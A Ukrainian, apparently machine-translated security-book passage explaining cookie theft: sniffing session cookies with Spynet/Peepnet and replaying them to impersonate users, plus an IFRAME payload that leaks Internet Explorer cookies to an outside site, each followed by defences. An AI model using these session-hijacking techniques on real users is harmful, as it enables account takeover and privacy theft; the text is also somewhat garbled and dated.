Остерігайтеся монстра Cookie
Чи замислювалися
ви коли-небудь про те, як на деяких Web-узлах відбувається персоніфікація відвідувачів? Це може виражатися, наприклад, в запам'ятовуванні вмісту "візка" (якщо цей вузол призначений для продажу товарів) або в способі заповнення полів якої-небудь форми. У протоколі HTTP, лежачому в основі функціонування World Wide Web, немає засобів, що дозволяють відстежувати події від одних відвідин вузла до іншого, тому для можливості зберігання таких "станів" було розроблено спеціальне доповнення. Цей механізм, описаний в документі RFC 2109, забезпечує вставку в передавані запити і відповіді HTTP спеціальних фрагментів даних cookie, що дозволяють Web-узлам відстежувати своїх відвідувачів. Дані cookie можуть запам'ятовуватися на час сеансу зв'язку (per session), залишаючись в оперативній пам'яті протягом одного сеансу і віддаляючись при закритті броузера, або навіть після закінчення заданого проміжку часу. У інших випадках вони бувають постійними (persistent), залишаючись на жорсткому диску користувача у вигляді текстового файлу. Зазвичай вони зберігаються в каталозі Cookies (%windir% \Cookies — в Win9x і %userprofile%\Cookies — в Nt/2000). Неважко здогадатися, що після захоплення файлів cookie в Internet зломщик може видавати себе за користувача даного комп'ютера, або збирати важливу інформацію, що міститься в цих файлах. Прочитавши наступні розділи, ви зрозумієте, наскільки просто це зробити.
Перехоплення файлів cookie
Найпряміший спосіб полягає в перехопленні файлів cookie при їх передачі по мережі. Потім перехоплені дані можна використовувати при вході на відповідний сервер. Таку задачу можна вирішити за допомогою будь-якої утиліти перехоплення пакетів, проте однією з кращих є програма Лаврентія Никули (Laurentiu
Nicula) Spynet/peepnet . До складу Spynet входять дві утиліти, які працюють в комплексі. Програма Capturenet виконує захоплення самого пакету і зберігає його на диску, а утиліта Peepnet відкриває цей файл і перетворить його в читабельний формат. Наступний приклад є фрагментом відновленого програмою Peepnet сеансу зв'язку, під час якого файл cookie служить для аутентифікації і управління доступом до сторінок, що проглядаються (для збереження анонімності імена змінені).
GET http://www.victim.net/images/logo.gif Http/1.0
Accept: */*
Referrer: http://www.victim.net/
Host: www.victim.net
Cookie: jrunsessionid=96114024278141622;
cuid=torpm!ZXTFRLRlpWTVFISEblahblah
У
приведеному прикладі видно фрагмент cookie, поміщений в запит, що поступає на сервер, HTTP. Найбільш важливим є поле cuid=, в якому задається унікальний ідентифікатор, використовуваний при аутентифікації користувача на вузлі www.victim.net. Допустимо, що після цього зломщик відвідав вузол victim.net, отримав власний ідентифікатор і файл cookie (передбачається, що вузол поміщає дані cookie не у віртуальну пам'ять, а записує їх на жорсткий диск). Тоді зломщик може відкрити свій власний файл cookie і замінити в нім ідентифікатор поля cuid= , узявши його з перехопленого пакету. В цьому випадку при вході на сервер victim.net він сприйматиметься як користувач, чиї дані cookie були перехоплені.
Здатність
програми Peepnet відтворювати весь сеанс зв'язку або його фрагмент значно полегшує реалізацію атак цього типу. За допомогою кнопки Go get it! можна повторно витягувати сторінки, які були видимими користувачем, використовуючи його дані cookie, перехоплені раніше програмою Capturenet. У діалоговому вікні утиліти Peepnet можна побачити інформацію про чиїсь виконані розпорядження. При цьому для аутентифікації використовуються дані cookie, перехоплені програмою Capturenet. Звернете увагу на фрейм, розташований в нижньому правому кутку діалогового вікна з даними сеансу зв'язку, і на рядок, який слідує за рядком Cookie:. Це дані cookie, використовувані при аутентифікації.
Це досить спритний трюк. Крім того, утиліта Capturenet може надати повний запис трафіку в розшифрованому вигляді, що практично рівносильно можливостям утиліт професійного класу, таких як Sniffer Pro компанії Network Associates, Inc. Проте утиліта Spynet ще краща — її можна отримати безкоштовно!
Контрзаходи
Слід
остерігатися вузлів, на яких файли cookie застосовуються для аутентифікації і зберігання важливих ідентифікаційних даних. Одним з інструментів, що допомагають в забезпеченні захисту, є програма Cookie Pal компанії Kookaburra Software, яку можна знайти на Web-узле
http://www.kburra.com/cpal.html. Цей програмний продукт можна набудувати так, щоб для користувача генерувалися застережливі повідомлення про спроби Web-узла скористатися механізмом cookie. При цьому можна "заглянути за куліси" і вирішити, чи слід вирішувати виконання цих дій. У Internet Explorer є вбудований механізм підтримки файлів cookie. Щоб активізувати його, запустите аплет Internet Options панелі управління, перейдіть у вкладку Security, виберіть елемент Internet Zone, встановите режим Custom Level і для постійних і тимчасових даних cookie встановите перемикач в положення Prompt. Налаштування використання файлів cookie в броузере Netscape виконується за допомогою команди
Edit>preferences>advanced і установки режиму Warn me before accepting а cookie або Disable cookies (мал. 16.3). Приймаючи файл cookie, потрібно перевірити, чи записався він на диск, і дізнатися, чи збирає Web-узел інформацію про користувачів.
Відвідуючи вузол, на якому файли cookie служать для аутентифікації, необхідно переконатися, що ім'я, що спочатку повідомляються, і пароль шифруються хоч би за допомогою протоколу SSL. Тоді ця інформація з'явиться у вікні програми Peepnet щонайменше не у вигляді простого тексту.
Автори вважали
за краще б повністю відмовитися від файлів cookie, якби багато часто відвідуваних Web-узлы не вимагали цього режиму. Наприклад, для популярної у всьому світі служби Hotmail компанії Microsoft наявність файлів cookie обов'язково для реєстрації. Оскільки ця служба в процесі аутентифікації задіює декілька різних серверів, то додати їх в зону надійних вузлів не так-то просто (цей процес описаний в розділі "Розумне Використання Зон Безпеки: Загальне Вирішення Проблеми Елементів Activex"). В цьому випадку допоможе позначення * .hotmail.com. Файли cookie — далеке не ідеальне вирішення проблеми неповноти протоколу HTML, проте альтернативні підходи, мабуть, ще гірше (наприклад, додавання до адреси URL ідентифікатора, який може зберігатися на proxy-серверах). Поки не з'явиться ідея трохи краще, єдиним виходом залишається контроль над файлами cookie за допомогою перерахованих вище методів.
Захоплення файлів cookie через URL
Уявимо собі
щось жахливе: користувачі Internet Explorer клацають на спеціально сконструйованих гіперпосиланнях і стають потенційними жертвами, ризикуючи, що їх файли cookie будуть перехоплені. Беннет Хазельтон (Bennett Haselton) і Джемі Маккарті (Jamie Mccarthy) з тінейджерськой організації Peacefire, що ратує за свободу спілкування через Internet, опублікували сценарій, що
утілює цю ідею в життя. Цей сценарій витягує файли
cookie з клієнтського комп'ютера, якщо його користувач клацає на посиланні, що міститься на цій сторінці. В результаті вміст файлу cookie стає доступним для операторів Web-узла.
Цю можливість можна використовувати в непристойних цілях, упроваджуючи дескриптори IFRAME в HTML-код Web-страницы, електронного повідомлення у форматі HTML або повідомлення з групи новин. У наступному прикладі, запропонованому консультантом по питаннях безпеки Річардом М. Смітом, демонструється можливість використання дескрипторів IFRAME спільно з утилітою, розробленою організацією Peacefire.
<iframe src="http://www.peacefire.org%2fsecurity%2fiecookies%2f
showcookie . html%3f. yahoo . com/"x/if rame>
Можна
скласти підступне електронне повідомлення, яке "захоплювало" б файли cookie з жорсткого диска користувача і передавало їх операторам вузла peacefire.org. Для цього в нього багато раз потрібно помістити посилання на цей вузол так, як показано в приміряю. Не дивлячись на те що хлоп'ята з Peacefire виглядають досить приємними людьми, навряд чи кому-небудь сподобається, якщо до них до рук потраплять конфіденційні дані.
Контрзаходи
Встановите модуль оновлення, який можна знайти за адресою
http://www. microsoft.com/technet/security/bulletin/ms00-033.asp. Можна скористатися також програмою Cookie Pal або вбудованими можливостями Internet Explorer, як описано вищим.
|